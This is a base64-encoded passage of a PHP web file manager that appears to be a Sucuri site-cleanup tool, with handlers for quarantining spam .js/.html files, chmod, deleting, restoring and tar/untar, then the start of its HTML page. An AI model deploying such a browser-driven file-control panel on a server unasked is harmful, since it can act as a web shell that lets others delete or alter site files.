ICB9CiAgICAgJGl0ZW1zID0gJHRlbXA7Cn0KCi8qKgoqIEhhbmRsZSBTcGFtCiovCmlmICggaXNz ZXQoICRfUE9TVFsnYWN0aW9uJ10sICRpdGVtcyApICYmICRfUE9TVFsnYWN0aW9uJ10gPT0gJ3Nw YW0nICkKewogICAgICRyZW1vdmVkID0KICAgICAkZm91bmQgICA9IDA7CgogICAgIGZvcmVhY2gg KCAkaXRlbXMgYXMgJGl0ZW0gKQogICAgIHsKICAgICAgICAgaWYgKAogICAgICAgICAgICAgIGZh bHNlICE9PSBzdHJwb3MoICRpdGVtLCAnLnN1Y3VyaXF1YXJhbnRpbmUnICkKICAgICAgICAgICAg KQogICAgICAgICB7CiAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgIH0KCiAgICAgICAg IGlmICgKICAgICAgICAgICAgICBpc19saW5rKCAkaXRlbSApIHx8CiAgICAgICAgICAgICAgaXNf ZmlsZSggJGl0ZW0gKSAmJgogICAgICAgICAgICAgIHByZWdfbWF0Y2goICcvXi4rXC4oanN8aHRt bCkkLycsICRpdGVtICkKICAgICAgICAgICAgKQogICAgICAgICB7CiAgICAgICAgICAgICAgaWYg KAogICAgICAgICAgICAgICAgICAgYmFja3VwKCAkaXRlbSwgJy5zdWN1cmlxdWFyYW50aW5lJyAp ICYmCiAgICAgICAgICAgICAgICAgICBkZWxldGUoICRpdGVtICkKICAgICAgICAgICAgICAgICAp CiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgJHJlbW92ZWQrKzsKICAgICAgICAg ICAgICB9CgogICAgICAgICAgICAgICRmb3VuZCsrOwogICAgICAgICB9CiAgICAgfQoKICAgICBo ZWFkZXIoICJMb2NhdGlvbjogIiAuIEZJTEUgLiAiP3NydW4mc3BhbSZmb3VuZD0kZm91bmQmcmVt b3ZlZD0kcmVtb3ZlZCIgKTsKICAgICByZXR1cm47Cn0KCi8qKgoqIEhhbmRsZSBjbGVhbnVwLXNj YW4gJiBjbGVhbnVwLXNraXAKKi8KaWYgKCBpc3NldCggJF9QT1NUWydhY3Rpb24nXSwgJF9QT1NU WydpdGVtcyddLCAkaXRlbXMgKSAmJiAoJF9QT1NUWydhY3Rpb24nXSA9PSAnY2xlYW51cC1zY2Fu JyB8fCAgJF9QT1NUWydhY3Rpb24nXSA9PSAnY2xlYW51cC1za2lwJykgKQp7CiAgICAkZm9sZGVy cyA9IGFycmF5KCk7CiAgICBmb3JlYWNoICggJF9QT1NUWydpdGVtcyddIGFzICRrID0+ICRpdGVt ICkgewogICAgICAgIGlmICggaXNfZGlyICggJGl0ZW0gKSApCiAgICAgICAgICAgICRmb2xkZXJz W10gPSBodG1sc3BlY2lhbGNoYXJzKHN1YnN0cigkaXRlbSwgc3RybGVuKHJlYWxwYXRoKGRpcm5h bWUoRklMRSkpKSsxKSk7CiAgICB9CgogICAgaWYgKCAkX1BPU1RbJ2FjdGlvbiddID09PSAnY2xl YW51cC1za2lwJyApIHsKICAgICAgICAkYWN0aW9uID0gJ3NraXBkaXJzJzsKICAgIH0KICAgIGVs c2UgewogICAgICAgICRhY3Rpb24gPSAnc2NhbmRpcnMnOwogICAgfQogICAgaGVhZGVyKCJMb2Nh dGlvbjogc3VjdXJpLWNsZWFudXAucGhwP3NydW4mbm9pc2UmeyRhY3Rpb259PSIuIGltcGxvZGUo JywnLCAkZm9sZGVycykpOwp9CgovKioKKiBIYW5kbGUgY2htb2QKKi8KaWYgKCBpc3NldCggJF9Q T1NUWydhY3Rpb24nXSwgJF9QT1NUWydpdGVtcyddLCAkaXRlbXMgKSAmJiAkX1BPU1RbJ2FjdGlv biddID09ICdjaG1vZCcgKQp7CiAgICAgJGZpbGVzID0KICAgICAkZGlycyAgPSAwOwoKICAgICAk ZmFpbHVyZXMgPSBhcnJheSgpOwoKICAgICBmb3JlYWNoICggJGl0ZW1zIGFzICRpdGVtICkKICAg ICB7CiAgICAgICAgaWYgKCBpbl9hcnJheSggJGl0ZW0sIChhcnJheSkgJF9QT1NUWydpdGVtcydd ICkgKQogICAgICAgIHsKICAgICAgICAgICAgIGlmICggY2hhbmdlTW9kZSggJGl0ZW0gKSApCiAg ICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgIGlmICggaXNfZGlyKCAkaXRlbSApICkKICAg ICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICRkaXJzKys7CiAgICAgICAg ICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICB7CiAg ICAgICAgICAgICAgICAgICAgICAgJGZpbGVzKys7CiAgICAgICAgICAgICAgICAgIH0KICAgICAg ICAgICAgIH0KICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAg ICAgJGZhaWx1cmVzW10gPSAkaXRlbTsKICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgfQoK ICAgICAkZXJyb3JzID0gbnVsbDsKICAgICBpZiAoIGNvdW50KCAkZmFpbHVyZXMgKSApCiAgICAg ewogICAgICAgICAgJGVycm9ycyA9ICc8dWw+JzsKICAgICAgICAgIGZvcmVhY2goICRmYWlsdXJl cyBhcyAkZmFpbHVyZSApCiAgICAgICAgICB7CiAgICAgICAgICAgICAgJGVycm9ycyAuPSAiPGxp PlVuYWJsZSB0byBjaG1vZCAkZmFpbHVyZS48L2xpPiI7CiAgICAgICAgICB9CiAgICAgICAgICAk ZXJyb3JzIC49ICc8L3VsPic7CiAgICAgfQoKICAgICAkbWVzc2FnZVsndHlwZSddID0gJ2luZm8n OwogICAgICRtZXNzYWdlWydib2R5J10gPSBzcHJpbnRmKCAnQ2hhbmdlZCAlZCBmaWxlcywgJWQg ZGlycyAlcy4gJywgJGZpbGVzLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpcnMsCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzICk7 Cn0KCi8qKgoqIEhhbmRsZSBSZW1vdmUKKi8KaWYgKCBpc3NldCggJF9QT1NUWydhY3Rpb24nXSwg JF9QT1NUWydpdGVtcyddLCAkaXRlbXMgKSAmJiAkX1BPU1RbJ2FjdGlvbiddID09ICdyZW1vdmUn ICkKewogICAgICRtZXNzYWdlID0gbnVsbDsKCiAgICAgZm9yZWFjaCAoICRpdGVtcyBhcyAkaXRl bSApCiAgICAgewogICAgICAgIGlmICgKICAgICAgICAgICAgICBmYWxzZSAhPT0gc3RycG9zKCAk aXRlbSwgJy5zdWN1cmlxdWFyYW50aW5lJyApCiAgICAgICAgICAgKQogICAgICAgIHsKICAgICAg ICAgICAgICBjb250aW51ZTsKICAgICAgICB9CgogICAgICAgIGlmICggaW5fYXJyYXkoICRpdGVt LCAoYXJyYXkpICRfUE9TVFsnaXRlbXMnXSApICkKICAgICAgICB7CiAgICAgICAgICAgICAkYmFj a3VwID0gYmFja3VwKCAkaXRlbSwgJy5zdWN1cmlxdWFyYW50aW5lJyApOwogICAgICAgICAgICAg aWYgKCBmYWxzZSA9PT0gJGJhY2t1cCApCiAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAg ICRtZXNzYWdlWyd0eXBlJ10gPSAnYmFkJzsKICAgICAgICAgICAgICAgICAgJG1lc3NhZ2VbJ2Jv ZHknXSA9IHNwcmludGYoICdVbmFibGUgdG8gYmFja3VwOiAlcycsICRpdGVtICk7CiAgICAgICAg ICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgfQogICAgICAgICAgICAgJGRlbGV0ZSA9IGRl bGV0ZSggJGl0ZW0gKTsKICAgICAgICAgICAgIGlmICggZmFsc2UgPT09ICRkZWxldGUgKQogICAg ICAgICAgICAgewogICAgICAgICAgICAgICAgICAkbWVzc2FnZVsndHlwZSddID0gJ2JhZCc7CiAg ICAgICAgICAgICAgICAgICRtZXNzYWdlWydib2R5J10gPSBzcHJpbnRmKCAnVW5hYmxlIHRvIGRl bGV0ZTogJXMnLCAkaXRlbSApOwogICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAg IH0KICAgICAgICB9CiAgICAgfQoKICAgICBpZiAoICEgJG1lc3NhZ2UgKQogICAgIHsKICAgICAg ICAgaGVhZGVyKCAnTG9jYXRpb246ICcgLiBGSUxFIC4gJz9zcnVuJnN1Y2Nlc3MnICk7CiAgICAg ICAgIHJldHVybjsKICAgICB9Cn0KCi8qIEhhbmRsZSBkZWxldGUgd2l0aG91dCBiYWNrdXAgKi8K aWYgKCBpc3NldCggJF9QT1NUWydhY3Rpb24nXSwgJF9QT1NUWydpdGVtcyddLCAkaXRlbXMgKSAm JiAkX1BPU1RbJ2FjdGlvbiddID09ICd1bmxpbmsnICkKewogICAgICRtZXNzYWdlID0gbnVsbDsK CiAgICAgaWYgKCBpc3NldCggJF9QT1NUWydzY3JpcHQnXSApICYmICRfUE9TVFsnc2NyaXB0J10g PT09ICcxJyApCiAgICAgewogICAgICAgICAgZm9yZWFjaCAoICRpdGVtcyBhcyAkaXRlbSApCiAg ICAgICAgICB7CiAgICAgICAgICAgICAgaWYgKCBpbl9hcnJheSggJGl0ZW0sIChhcnJheSkgJF9Q T1NUWydpdGVtcyddICkgKQogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgJGRlbGV0 ZSA9IGRlbGV0ZSggJGl0ZW0gKTsKICAgICAgICAgICAgICAgICAgaWYgKCBmYWxzZSA9PT0gJGRl bGV0ZSApCiAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdl Wyd0eXBlJ10gPSAnYmFkJzsKICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlWydib2R5J10g PSBzcHJpbnRmKCAnVW5hYmxlIHRvIGRlbGV0ZTogJXMnLCAkaXRlbSApOwogICAgICAgICAgICAg ICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgfQogICAg ICAgICAgIH0KICAgICB9CiAgICAgZWxzZQogICAgIHsKICAgICAgICAgJG1lc3NhZ2VbJ3R5cGUn XSA9ICdiYWQnOwogICAgICAgICAkbWVzc2FnZVsnYm9keSddID0gJ1RoaXMgYWN0aW9uIHJlcXVp cmVkIGphdmFzY3JpcHQuJzsKICAgICB9CgogICAgIGlmICggISAkbWVzc2FnZSApCiAgICAgewog ICAgICAgICAgaGVhZGVyKCAnTG9jYXRpb246ICcgLiBGSUxFIC4gJz9zcnVuJmRlbGV0ZWQnICk7 CiAgICAgICAgICByZXR1cm47CiAgICAgfQp9CgovKiBIYW5kbGUgcmVzdG9yZSAqLwppZiAoIGlz c2V0KCAkX1BPU1RbJ2FjdGlvbiddLCAkX1BPU1RbJ2l0ZW1zJ10sICRpdGVtcyApICYmICRfUE9T VFsnYWN0aW9uJ10gPT0gJ3Jlc3RvcmUnICkKewogICAgICRtZXNzYWdlID0gbnVsbDsKCiAgICAg Zm9yZWFjaCAoICRpdGVtcyBhcyAkaXRlbSApCiAgICAgewogICAgICAgICBpZiAoIGluX2FycmF5 KCAkaXRlbSwgKGFycmF5KSAkX1BPU1RbJ2l0ZW1zJ10gKSApCiAgICAgICAgIHsKICAgICAgICAg ICAgICAkcmVzdG9yZSA9IHJlc3RvcmUoICRpdGVtICk7CiAgICAgICAgICAgICAgaWYgKCBmYWxz ZSA9PT0gJHJlc3RvcmUgKQogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICRtZXNz YWdlWyd0eXBlJ10gPSAnYmFkJzsKICAgICAgICAgICAgICAgICAgICRtZXNzYWdlWydib2R5J10g PSBzcHJpbnRmKCAnVW5hYmxlIHRvIHJlc3RvcmU6ICVzJywgJGl0ZW0gKTsKICAgICAgICAgICAg ICAgICAgIGJyZWFrOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAvLyBFZGl0IGJ5IEZl cm5hbmRvCiAgICAgICAgICAgICAgLyokZGVsZXRlID0gZGVsZXRlKCAkaXRlbSApOwogICAgICAg ICAgICAgIGlmICggZmFsc2UgPT09ICRkZWxldGUgKQogICAgICAgICAgICAgIHsKICAgICAgICAg ICAgICAgICAgICRtZXNzYWdlWyd0eXBlJ10gPSAnYmFkJzsKICAgICAgICAgICAgICAgICAgICRt ZXNzYWdlWydib2R5J10gPSBzcHJpbnRmKCAnVW5hYmxlIHRvIGRlbGV0ZTogJXMnLCAkaXRlbSAp OwogICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgfSovCiAgICAgICAgIH0K ICAgICB9CgogICAgIGlmICggISAkbWVzc2FnZSApCiAgICAgewogICAgICAgICAgaGVhZGVyKCAn TG9jYXRpb246ICcgLiBGSUxFIC4gJz9zcnVuJnJlc3RvcmVkJyApOwogICAgICAgICAgcmV0dXJu OwogICAgIH0KfQoKLyoqCiogVGFyIGl0ZW1zLgoqLwppZiAoIGlzc2V0KCAkX1BPU1RbJ2FjdGlv biddLCAkX1BPU1RbJ2l0ZW1zJ10sICRpdGVtcyApICYmICRfUE9TVFsnYWN0aW9uJ10gPT0gJ3Rh cicgKQp7CiAgICAgJGVycm9yID0gbnVsbDsKICAgICAkcGF0aCA9ICdzdWN1cmktYmFja3VwLScg LiB0aW1lKCkgLiAnLnRhcic7CgogICAgIHRyeQogICAgIHsKICAgICAgICAgJHBoYXIgPSBuZXcg UGhhckRhdGEoICRwYXRoICk7CiAgICAgICAgICRwaGFyLT5TdGFydEJ1ZmZlcmluZygpOwogICAg ICAgICBmb3JlYWNoICggJGl0ZW1zIGFzICRpdGVtICkKICAgICAgICAgewogICAgICAgICAgICAg aWYgKCBpbl9hcnJheSggJGl0ZW0sIChhcnJheSkgJF9QT1NUWydpdGVtcyddICkgKQogICAgICAg ICAgICAgewogICAgICAgICAgICAgICAgICAkYmFzZSA9IHN0cl9yZXBsYWNlKCAkY3dkIC4gRFMs ICcnLCAkaXRlbSApOwoKICAgICAgICAgICAgICAgICAgaWYgKAogICAgICAgICAgICAgICAgICAg ICAgICAgaXNfZmlsZSggJGl0ZW0gKSAmJgogICAgICAgICAgICAgICAgICAgICAgICEgaXNfbGlu ayggJGl0ZW0gKQogICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgIHsKICAg ICAgICAgICAgICAgICAgICAgICAkcGhhci0+YWRkRmlsZSggJGl0ZW0sICRiYXNlICk7CgogICAg ICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICB9CgogICAgICAg ICAgICAgICAgICBpZiAoCiAgICAgICAgICAgICAgICAgICAgICAgICBpc19kaXIoICRpdGVtICkg JiYKICAgICAgICAgICAgICAgICAgICAgICAhIGlzX2xpbmsoICRpdGVtICkKICAgICAgICAgICAg ICAgICAgICAgKQogICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgJGRp cmVjdG9yeSA9IG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvciggJGl0ZW0sIEZpbGVzeXN0 ZW1JdGVyYXRvcjo6U0tJUF9ET1RTICk7CiAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9y ICA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKCAkZGlyZWN0b3J5ICk7CgogICAgICAg ICAgICAgICAgICAgICAgIGZvcmVhY2ggKCAkaXRlcmF0b3IgYXMgJGl0ZW0gKQogICAgICAgICAg ICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAhIGlzX2xpbmso ICRpdGVtICkgKQogICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgJGJhc2UgPSBzdHJfcmVwbGFjZSggJGN3ZCAuIERTLCAnJywgJGl0ZW0g KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGhhci0+YWRkRmlsZSggJGl0ZW0s ICRiYXNlICk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAg ICAgICB9CiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgfQogICAg ICAgICAkcGhhci0+U3RvcEJ1ZmZlcmluZygpOwogICAgIH0KICAgICBjYXRjaCAoIEV4Y2VwdGlv biAkZSApCiAgICAgewogICAgICAgICAkZXJyb3IgPSAkZS0+Z2V0TWVzc2FnZSgpOwogICAgIH0K CiAgICAgaWYgKCAkZXJyb3IgPT09IG51bGwgKQogICAgIHsKICAgICAgICAgICRtZXNzYWdlWyd0 eXBlJ10gPSAnZ29vZCc7CiAgICAgICAgICAkbWVzc2FnZVsnYm9keSddID0gc3ByaW50ZiggJ3Rh ciBjcmVhdGVkIGFzICVzLicsICRwYXRoICk7CiAgICAgfQogICAgIGVsc2UKICAgICB7CiAgICAg ICAgICAkbWVzc2FnZVsndHlwZSddID0gJ2JhZCc7CiAgICAgICAgICAkbWVzc2FnZVsnYm9keSdd ID0gJGVycm9yOwogICAgIH0KfQoKLyoqCiogVW50YXIgaXRlbS4KKi8KaWYgKCBpc3NldCggJF9Q T1NUWydhY3Rpb24nXSwgJF9QT1NUWydpdGVtcyddLCAkaXRlbXMgKSAmJiAkX1BPU1RbJ2FjdGlv biddID09ICd1bnRhcicgKQp7CiAgICAkbWVzc2FnZSA9IG51bGw7CiAgICAkY291bnQgPSAwOwoK ICAgIGZvcmVhY2ggKCAkaXRlbXMgYXMgJGl0ZW0gKQogICAgewogICAgICAgIGlmICggaW5fYXJy YXkoICRpdGVtLCAoYXJyYXkpICRfUE9TVFsnaXRlbXMnXSApICkKICAgICAgICB7CiAgICAgICAg ICAgICB0cnkKICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAkcGhhciA9IG5ldyBQaGFy RGF0YSggJGl0ZW0gKTsKICAgICAgICAgICAgICAgICAkcGhhci0+ZXh0cmFjdFRvKCAkY3dkLCBu dWxsLCB0cnVlICk7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgICBjYXRjaCAoIEV4Y2VwdGlv biAkZSApCiAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgJG1lc3NhZ2VbJ3R5cGUnXSA9 ICdiYWQnOwogICAgICAgICAgICAgICAgICRtZXNzYWdlWydib2R5J10gPSAkZS0+Z2V0TWVzc2Fn ZSgpOwogICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgfQoKICAgICAgICAgICAg ICRjb3VudCsrOwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoICEgJG1lc3NhZ2UgKQogICAgewog ICAgICAgICBoZWFkZXIoICdMb2NhdGlvbjogJyAuIEZJTEUgLiAnP3NydW4mdW50YXJyZWQ9JyAu ICRjb3VudCApOwogICAgICAgICByZXR1cm47CiAgICB9Cn0KCi8qKgoqIFN1Y2Nlc3NmdWwgcmVz dG9yZSBtZXNzYWdlLgoqLwppZiAoIGlzc2V0KCAkX0dFVFsncmVzdG9yZWQnXSApICkKewogICAg ICRtZXNzYWdlWyd0eXBlJ10gPSAnZ29vZCc7CiAgICAgJG1lc3NhZ2VbJ2JvZHknXSA9ICdSZXN0 b3JlZCBPSyc7Cn0KCi8qKgoqIFN1Y2Nlc3NmdWwgcmVtb3ZlIG1lc3NhZ2UuCiovCmlmICggaXNz ZXQoICRfR0VUWydzdWNjZXNzJ10gKSApCnsKICAgICAkbWVzc2FnZVsndHlwZSddID0gJ2dvb2Qn OwogICAgICRtZXNzYWdlWydib2R5J10gPSAnQmFja3VwICYgRGVsZXRlIE9LJzsKfQoKLyoqCiog U3VjY2Vzc2Z1bCByZW1vdmUgc3BhbS4KKi8KaWYgKCBpc3NldCggJF9HRVRbJ3NwYW0nXSwgJF9H RVRbJ3JlbW92ZWQnXSwgJF9HRVRbJ2ZvdW5kJ10gKSApCnsKICAgICAkbWVzc2FnZVsndHlwZSdd ID0gJ2luZm8nOwogICAgICRtZXNzYWdlWydib2R5J10gPSBzcHJpbnRmKCAnRm91bmQgJWQgaXRl bXMsICVkIGJhY2tlZCB1cCAmIGNsZWFyZWQuJywgKGludCkkX0dFVFsnZm91bmQnXSwKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIChpbnQpJF9HRVRbJ3JlbW92ZWQnXSApOwp9CgovKioKKiBTdWNjZXNzZnVs IGRlbGV0ZS4KKi8KaWYgKCBpc3NldCggJF9HRVRbICdkZWxldGVkJyBdICkgKQp7CiAgICAgJG1l c3NhZ2VbJ3R5cGUnXSA9ICdpbmZvJzsKICAgICAkbWVzc2FnZVsnYm9keSddID0gJ0l0ZW1zIHJl bW92ZWQgT0snOwp9CgovKioKKiBTdWNjZXNzZnVsIHVudGFyLgoqLwppZiAoIGlzc2V0KCAkX0dF VFsndW50YXJyZWQnXSApICkKewogICAgICRtZXNzYWdlWyd0eXBlJ10gPSAnaW5mbyc7CiAgICAg JG1lc3NhZ2VbJ2JvZHknXSA9IHNwcmludGYoICclZCBudW1iZXIgb2YgYXJjaGl2ZXMgd2VyZSB1 bnRhcnJlZC4nLCAoaW50KSRfR0VUWyd1bnRhcnJlZCddICk7Cn0KCi8qKgoqIEdlbmVyYXRlIG5h dmlnYXRpb24uCiovCiRsaW5rcyA9IGFycmF5KCk7CgppZiAoIHByZWdfbWF0Y2hfYWxsKCAnQChb Xi9cXFxcXSspQCcsICRkaXIsICRtICkgKQp7CiAgICAgZm9yZWFjaCAoICRtWzFdIGFzICRpbmRl eCA9PiAkdmFsdWUgKQogICAgIHsKICAgICAgICAgJGxpbmtzW10gPSBhcnJheSggJ25hbWUnID0+ ICR2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+IGpvaW4oICcvJywg YXJyYXlfc2xpY2UoICRtWzFdLCAwLCAkaW5kZXggKyAxICkgKSApOwogICAgIH0KICAgICB1bnNl dCggJG0gKTsKfQplbHNlCnsKICAgICAkbGlua3NbXSA9IGFycmF5KCAnbmFtZScgPT4gJ0hvbWUn LCAncGF0aCcgPT4gJycgKTsKfQoKLyoqCiogUGF0aCBwcmVmaXggZm9yIGxpbmtzLgoqLwokcHJl Zml4ID0gJyc7CmlmICggJGRpciAhPT0gbnVsbCAmJiBmYWxzZSA9PT0gc3RycG9zKCBQSFBfT1Ms ICdXSU4nICkgKQp7CiAgICAgJHByZWZpeCA9ICcvJzsKfQoKPz4KPCFET0NUWVBFIGh0bWw+Cjxo dG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAg ICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LG5vZm9sbG93Ij4KICAgICAg IDx0aXRsZT5GaWxlTWFuYWdlcjwvdGl0bGU+CgogICAgICAgPCEtLSBMb2FkIENTUyAtLT4KICAg ICAgIDxzdHlsZT4KICAgICAgIGJvZHkgeyBiYWNrZ3JvdW5kOiAjRjJGMUVGOyBmb250LXNpemU6 IDE0cHg7IGZvbnQtZmFtaWx5OiBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYsIEFyaWFsOyBjb2xvcjog IzU1NTsgfQogICAgICAgI2NvbnRhaW5lciB7IGJhY2tncm91bmQ6ICNmZmY7IGJvcmRlcjogMXB4 IHNvbGlkICNkZGQ7IG1hcmdpbjogNDBweCBhdXRvOyBwYWRkaW5nOiAzMHB4OyB3aWR0aDogNzUl OyB9CiAgICAgICAjbmF2IHsgbWFyZ2luOiA0cHggMDsgdGV4dC1hbGlnbjogcmlnaHQ7IH0KICAg ICAgICNuYXYgYTphZnRlciB7IGNvbnRlbnQ6ICIgLyAiOyB9CiAgICAgICAjbmF2IGE6bGFzdC1j aGlsZDphZnRlciB7IGNvbnRlbnQ6ICIiOyB9CiAgICAgICAjbmF2IGE6bGFzdC1jaGlsZCB7IGNv bG9yOiAjNzUzNTY4OyB9CiAgICAgICB0YWJsZSB7IG1hcmdpbjogMTJweCAwOyB3aWR0aDogMTAw JTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgYm9yZGVyLXNwYWNpbmc6IDA7IH0KICAgICAg IHRhYmxlIHRoZWFkIHRkIHsgYmFja2dyb3VuZDogIzc2MzU2ODsgY29sb3I6ICNmZmY7IGZvbnQt d2VpZ2h0OiBib2xkOyBjdXJzb3I6IHBvaW50ZXI7IH0KICAgICAgIHRhYmxlIHRoZWFkIHRkOmhv dmVyIHsgYmFja2dyb3VuZDogIzhhM2U3OTsgfQogICAgICAgdGFibGUgdGQgeyBwYWRkaW5nOiAx MnB4IDE0cHg7IH0KICAgICAgIHRhYmxlIHRib2R5IHRyOmhvdmVyICAgeyBiYWNrZ3JvdW5kOiAj ODk3MjllOGE7IGNvbG9yOiAjMDAwOyBib3JkZXI6IDA7IH0KICAgICAgIHRhYmxlIHRib2R5IHRy OmhvdmVyIGEgeyBjb2xvcjogIzAwMDsgfQogICAgICAgdGFibGUgdGJvZHkgdGQgeyBib3JkZXIt Ym90dG9tOiAxcHggc29saWQgI2VlZTsgfQogICAgICAgI2FjdGlvbnMgeyB0ZXh0LWFsaWduOiBy aWdodDsgZGlzcGxheTogaW5saW5lLWJsb2NrOyB9CiAgICAgICBpbnB1dFt0eXBlPSJzdWJtaXQi XSwgYnV0dG9uIHsgYmFja2dyb3VuZDogIzg5NzI5RTsgcGFkZGluZzogN3B4OyBib3JkZXItcmFk aXVzOiA0cHg7IGJvcmRlcjogMDsgY29sb3I6ICNmZmY7IGZvbnQtd2VpZ2h0OiBib2xkOyBjdXJz b3I6IHBvaW50ZXI7IH0KICAgICAgIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyLCBidXR0b246 aG92ZXIgeyBiYWNrZ3JvdW5kOiAjNzYzNTY4OyB9CiAgICAgICBzZWxlY3QgeyBwYWRkaW5nOiA2 cHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IGJvcmRlci1yYWRpdXM6IDRweDsgYmFja2dyb3Vu ZDogI2ZmZjsgY29sb3I6ICM1NTU7IH0KICAgICAgIGEgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7 IGNvbG9yOiAjODk3MjlFOyB9CiAgICAgICBhOmhvdmVyIHsgY29sb3I6ICM3NjM1Njg7IH0KICAg ICAgIC5oaWRlIHsgZGlzcGxheTogbm9uZTsgfQogICAgICAgLnNlbGVjdGVkIHsgYmFja2dyb3Vu ZDogIzg5NzI5ZSFpbXBvcnRhbnQ7IGNvbG9yOiAjZmZmIWltcG9ydGFudDsgfQogICAgICAgLnNl bGVjdGVkIGEgeyBjb2xvcjogI2ZmZiFpbXBvcnRhbnQ7IH0KICAgICAgIC5pbmZvIHVsIHsgbWFy Z2luOiA0cHggMDsgcGFkZGluZzogOHB4IDE4cHg7IH0KICAgICAgIC5nb29kIHsgYmFja2dyb3Vu ZDogI2RmZjBkODsgYm9yZGVyOiAxcHggc29saWQgI2Q2ZTljNjsgbWFyZ2luOiA4cHggMDsgcGFk ZGluZzogMTJweCAxNHB4OyBjb2xvcjogIzQ2ODg0NzsgfQogICAgICAgLmJhZCB7ICBiYWNrZ3Jv dW5kOiAjZjJkZWRlOyBib3JkZXI6IDFweCBzb2xpZCAjZWVkM2Q3OyBtYXJnaW46IDhweCAwOyBw YWRkaW5nOiAxMnB4IDE0cHg7IGNvbG9yOiAjYjk0YTQ4OyB9CiAgICAgICAuaW5mbyB7IGJhY2tn cm91bmQ6ICNkOWVkZjc7IGJvcmRlcjogMXB4IHNvbGlkICNiY2U4ZjE7IG1hcmdpbjogOHB4IDA7 IHBhZGRpbmc6IDEycHggMTRweDsgY29sb3I6ICMzYTg3YWQ7IH0KICAgICAgIC5jbG9zZSB7IHRl eHQtYWxpZ246IHJpZ2h0OyBkaXNwbGF5OiBibG9jazsgZm9udC1zaXplOiAxNnB4OyBtYXJnaW4t Ym90dG9tOiAyMHB4OyB9CiAgICAgICAuZGlyIHsKICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmlt YWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgv OWhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBQUJHZEJUVUVBQUxIeHZFRTlQZ0FBQUNC alNGSk5BQUNIR3dBQWkvOEFBUDQ1QUFDQ2pnQUFmUzRBQU92dUFBQTA2UUFBSTJhUVE4bDFBQUFC TkVsRVFWUjQycVNTUFM5RFlSVEhmN2VxaEVoYkc0TzNSVXJFWkRGSnZJd21CcHZGMnNUbUUxaEkw RTlnNXhPd0dvazBhRVVpSmlJdHlXM2xsbnBlanVIcTFTYkN2ZWxKVHZMa0pQOS9mdjl6SGtkRWFL ZGl0Rmx4Z0dKdThRRVlhUXpyWGsxMTlmYk1aTEtuK1g4ZFJJVEN3WUpZZXhkMDZUd25sOXV6N3Mz K2ZGSkUrS3ZqM3k1Z0RGYmZBOUEvT1VUbGRpRDU4ZnpxWHUvTzBkaVRpSUF2ZEtlM3p0SkJCR3Nz R0EzMVVrQTJ1cnhHTERIK0szVitaeVBWZURzaVFqRzNKRTdFNVFtNG1leEoyaWRRbW9uTm8wZ0do YjNWVkJEQktJWFZGK0hWWmd5ajFNOFpyZEpRZXd5UEwybGZFeEJvamZOZURRL0FDMFkzR2RoUEJi 